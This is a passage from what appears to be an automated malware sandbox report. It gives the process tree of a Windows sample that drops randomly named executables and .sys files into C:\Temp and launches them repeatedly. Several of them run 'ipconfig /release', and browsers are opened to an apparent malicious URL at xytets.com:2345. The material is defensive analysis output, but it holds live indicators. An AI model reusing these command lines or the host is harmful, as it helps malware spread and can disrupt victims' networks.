        Executes dropped EXE
        
        PID:1948
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1100
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ywqoigaytq.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1740
  - - C:\Temp\i_ywqoigaytq.exe
      C:\Temp\i_ywqoigaytq.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5300
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qkigaysqli.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4884
  - - C:\Temp\qkigaysqli.exe
      C:\Temp\qkigaysqli.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5020
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1728
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4324
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qkigaysqli.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3724
  - - C:\Temp\i_qkigaysqli.exe
      C:\Temp\i_qkigaysqli.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3764
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\gaysqkidav.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5900
  - - C:\Temp\gaysqkidav.exe
      C:\Temp\gaysqkidav.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2216
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:6020
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5948
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_gaysqkidav.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4104
  - - C:\Temp\i_gaysqkidav.exe
      C:\Temp\i_gaysqkidav.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3348
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\fcxvpnhfzx.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4124
  - - C:\Temp\fcxvpnhfzx.exe
      C:\Temp\fcxvpnhfzx.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5464
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4220
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1608
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_fcxvpnhfzx.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4240
  - - C:\Temp\i_fcxvpnhfzx.exe
      C:\Temp\i_fcxvpnhfzx.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3532
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\zxrpjhczur.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2504
  - - C:\Temp\zxrpjhczur.exe
      C:\Temp\zxrpjhczur.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2732
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5028
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2512
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_zxrpjhczur.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4476
  - - C:\Temp\i_zxrpjhczur.exe
      C:\Temp\i_zxrpjhczur.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4868
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\rmkecwuomh.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2644
  - - C:\Temp\rmkecwuomh.exe
      C:\Temp\rmkecwuomh.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1624
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:6000
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4504
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_rmkecwuomh.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4636
  - - C:\Temp\i_rmkecwuomh.exe
      C:\Temp\i_rmkecwuomh.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5624
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\rojhezwrom.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:952
  - - C:\Temp\rojhezwrom.exe
      C:\Temp\rojhezwrom.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1732
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5596
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:988
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_rojhezwrom.exe ups_ins
    3⤵
    PID:2688
  - - C:\Temp\i_rojhezwrom.exe
      C:\Temp\i_rojhezwrom.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3552
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\gebwqojgbz.exe ups_run
    3⤵
    PID:4344
  - - C:\Temp\gebwqojgbz.exe
      C:\Temp\gebwqojgbz.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5092
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1860
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5404
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_gebwqojgbz.exe ups_ins
    3⤵
    PID:4360
  - - C:\Temp\i_gebwqojgbz.exe
      C:\Temp\i_gebwqojgbz.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4656
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ljdbvtoljd.exe ups_run
    3⤵
    PID:2136
  - - C:\Temp\ljdbvtoljd.exe
      C:\Temp\ljdbvtoljd.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1392
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3680
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5164
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ljdbvtoljd.exe ups_ins
    3⤵
    PID:1592
  - - C:\Temp\i_ljdbvtoljd.exe
      C:\Temp\i_ljdbvtoljd.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5516
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\dyvqoigays.exe ups_run
    3⤵
    PID:5316
  - - C:\Temp\dyvqoigays.exe
      C:\Temp\dyvqoigays.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3984
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5804
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3552
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_dyvqoigays.exe ups_ins
    3⤵
    PID:4316
  - - C:\Temp\i_dyvqoigays.exe
      C:\Temp\i_dyvqoigays.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2476
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\fdxvpnifay.exe ups_run
    3⤵
    PID:2280
  - - C:\Temp\fdxvpnifay.exe
      C:\Temp\fdxvpnifay.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1852
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4420
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1556
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_fdxvpnifay.exe ups_ins
    3⤵
    PID:5728
  - - C:\Temp\i_fdxvpnifay.exe
      C:\Temp\i_fdxvpnifay.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5372
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\xvpnifaxsp.exe ups_run
    3⤵
    PID:4876
  - - C:\Temp\xvpnifaxsp.exe
      C:\Temp\xvpnifaxsp.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5264
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1192
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4292
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_xvpnifaxsp.exe ups_ins
    3⤵
    PID:988
  - - C:\Temp\i_xvpnifaxsp.exe
      C:\Temp\i_xvpnifaxsp.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3196
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\spnhfcxupn.exe ups_run
    3⤵
    PID:4368
  - - C:\Temp\spnhfcxupn.exe
      C:\Temp\spnhfcxupn.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3012
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3764
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2340
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_spnhfcxupn.exe ups_ins
    3⤵
    PID:5344
  - - C:\Temp\i_spnhfcxupn.exe
      C:\Temp\i_spnhfcxupn.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5288
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pmhfzxrpjh.exe ups_run
    3⤵
    PID:2372
  - - C:\Temp\pmhfzxrpjh.exe
      C:\Temp\pmhfzxrpjh.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5572
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2408
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2856
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_pmhfzxrpjh.exe ups_ins
    3⤵
    PID:3932
  - - C:\Temp\i_pmhfzxrpjh.exe
      C:\Temp\i_pmhfzxrpjh.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1492
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\xupmhezxro.exe ups_run
    3⤵
    PID:4132
  - - C:\Temp\xupmhezxro.exe
      C:\Temp\xupmhezxro.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1968
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4136
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2380
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_xupmhezxro.exe ups_ins
    3⤵
    PID:4092
  - - C:\Temp\i_xupmhezxro.exe
      C:\Temp\i_xupmhezxro.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:464
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\cwtoljhezw.exe ups_run
    3⤵
    PID:2248
  - - C:\Temp\cwtoljhezw.exe
      C:\Temp\cwtoljhezw.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4152
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2828
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1812
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:4144
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1504
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x318,0x7ffbce26c188,0x7ffbce26c194,0x7ffbce26c1a0
      4⤵
      PID:3960
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1596,i,15491228104667449267,10739422310317563171,262144 --field-trial-handle=2984,i,1193589776895692464,18180218968787297923,262144 --variations-seed-version --mojo-platform-channel-handle=2576 /prefetch:2
      4⤵
      PID:1208
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1876,i,5810800747717155358,8792778727054158358,524288 --field-trial-handle=2984,i,1193589776895692464,18180218968787297923,262144 --variations-seed-version --mojo-platform-channel-handle=3020 /prefetch:11
      4⤵
      System Time Discovery
      PID:5132
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2264,i,10379721583832823287,14850570129388743823,524288 --field-trial-handle=2984,i,1193589776895692464,18180218968787297923,262144 --variations-seed-version --mojo-platform-channel-handle=3120 /prefetch:13
      4⤵
      PID:1388
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3592,i,13618611807386802197,12989993855911345409,2097152 --field-trial-handle=2984,i,1193589776895692464,18180218968787297923,262144 --variations-seed-version --mojo-platform-channel-handle=3544 /prefetch:1
      4⤵
      PID:1936
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3596,i,4366093406611941819,11157467469639083395,2097152 --field-trial-handle=2984,i,1193589776895692464,18180218968787297923,262144 --variations-seed-version --mojo-platform-channel-handle=3672 /prefetch:1
      4⤵
      PID:5228
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4296,i,14389091345939536586,7032857964569563230,2097152 --field-trial-handle=2984,i,1193589776895692464,18180218968787297923,262144 --variations-seed-version --mojo-platform-channel-handle=4436 /prefetch:1
      4⤵
      PID:1368
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4324,i,7072047861383273339,8755318912600189010,2097152 --field-trial-handle=2984,i,1193589776895692464,18180218968787297923,262144 --variations-seed-version --mojo-platform-channel-handle=4964 /prefetch:9
      4⤵
      PID:2796
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5396,i,2942169323960402445,1307782529310485574,524288 --field-trial-handle=2984,i,1193589776895692464,18180218968787297923,262144 --variations-seed-version --mojo-platform-channel-handle=5428 /prefetch:14
      4⤵
      PID:2304
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5400,i,8512801016576959644,17384802784970743217,524288 --field-trial-handle=2984,i,1193589776895692464,18180218968787297923,262144 --variations-seed-version --mojo-platform-channel-handle=5440 /prefetch:14
      4⤵
      PID:2160
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6152,i,12103514361742054952,819738568192243098,524288 --field-trial-handle=2984,i,1193589776895692464,18180218968787297923,262144 --variations-seed-version --mojo-platform-channel-handle=6168 /prefetch:14
      4⤵
      PID:3748
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6152,i,12103514361742054952,819738568192243098,524288 --field-trial-handle=2984,i,1193589776895692464,18180218968787297923,262144 --variations-seed-version --mojo-platform-channel-handle=6168 /prefetch:14
      4⤵
      PID:5380
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5180,i,4769539917958137293,5403811795818391287,524288 --field-trial-handle=2984,i,1193589776895692464,18180218968787297923,262144 --variations-seed-version --mojo-platform-channel-handle=5008 /prefetch:14
      4⤵
      PID:3952
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5184,i,12675245774776366246,6941253661920416240,524288 --field-trial-handle=2984,i,1193589776895692464,18180218968787297923,262144 --variations-seed-version --mojo-platform-channel-handle=4324 /prefetch:14
      4⤵
      PID:4580
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5168,i,12764977585059101104,1732881290720755869,524288 --field-trial-handle=2984,i,1193589776895692464,18180218968787297923,262144 --variations-seed-version --mojo-platform-channel-handle=6604 /prefetch:14
      4⤵
      PID:1608
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5652,i,9381583204341374668,11884847780242540769,524288 --field-trial-handle=2984,i,1193589776895692464,18180218968787297923,262144 --variations-seed-version --mojo-platform-channel-handle=5472 /prefetch:14
      4⤵
      PID:3172
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3760,i,12264634907275799218,17424352270576457466,524288 --field-trial-handle=2984,i,1193589776895692464,18180218968787297923,262144 --variations-seed-version --mojo-platform-channel-handle=6116 /prefetch:14
      4⤵
      PID:2376
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5504,i,16617637698611952735,17612159958879585686,524288 --field-trial-handle=2984,i,1193589776895692464,18180218968787297923,262144 --variations-seed-version --mojo-platform-channel-handle=6240 /prefetch:14
      4⤵
      PID:5812
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6124,i,2252087457259492824,9954127821516349009,524288 --field-trial-handle=2984,i,1193589776895692464,18180218968787297923,262144 --variations-seed-version --mojo-platform-channel-handle=6552 /prefetch:14
      4⤵
      PID:4848
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5852,i,7903113583577376549,6174343879809494580,262144 --field-trial-handle=2984,i,1193589776895692464,18180218968787297923,262144 --variations-seed-version --mojo-platform-channel-handle=3676 /prefetch:10
      4⤵
      PID:3632
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6016,i,7099788368757632563,5398487047596034074,524288 --field-trial-handle=2984,i,1193589776895692464,18180218968787297923,262144 --variations-seed-version --mojo-platform-channel-handle=5836 /prefetch:14
      4⤵
      PID:3276

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4812

C:\Temp\kecwusmkecwupmhe.sys
C:\Temp\kecwusmkecwupmhe.sys
1⤵
- Executes dropped EXE
PID:3632

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:3432

C:\Temp\hbzurpjhcz.sys
C:\Temp\hbzurpjhcz.sys
1⤵
- Executes dropped EXE
PID:2076

C:\Temp\mjebwtrmje.sys
C:\Temp\mjebwtrmje.sys
1⤵
- Executes dropped EXE
PID:1684

C:\Temp\jgbztrljdb.sys
C:\Temp\jgbztrljdb.sys
1⤵
- Executes dropped EXE
PID:4924

C:\Temp\ywqoigayvt.sys
C:\Temp\ywqoigayvt.sys
1⤵
- Executes dropped EXE
PID:2712

C:\Temp\dywqoigayt.sys
C:\Temp\dywqoigayt.sys
1⤵
- Executes dropped EXE
PID:4612

C:\Temp\ifdxvpnifa.sys
C:\Temp\ifdxvpnifa.sys
1⤵
- Executes dropped EXE
PID:4288

C:\Temp\faxspnkfdx.sys
C:\Temp\faxspnkfdx.sys
1⤵
- Executes dropped EXE
PID:1936

C:\Temp\xupnhecxup.sys
C:\Temp\xupnhecxup.sys
1⤵
- Executes dropped EXE
PID:4088

C:\Temp\uspkhfcwus.sys
C:\Temp\uspkhfcwus.sys
1⤵
- Executes dropped EXE
PID:2928

C:\Temp\urmjhbzurm.sys
C:\Temp\urmjhbzurm.sys
1⤵
- Executes dropped EXE
PID:4148

C:\Temp\hbztromgeb.sys
C:\Temp\hbztromgeb.sys
1⤵
PID:4316

C:\Temp\olgdywqoig.sys
C:\Temp\olgdywqoig.sys
1⤵
PID:5952

C:\Temp\qoigaytqoi.sys
C:\Temp\qoigaytqoi.sys
1⤵
PID:5264

C:\Temp\fdxvqnifax.sys
C:\Temp\fdxvqnifax.sys
1⤵
PID:2928

C:\Temp\dxvpnhfdxv.sys
C:\Temp\dxvpnhfdxv.sys
1⤵
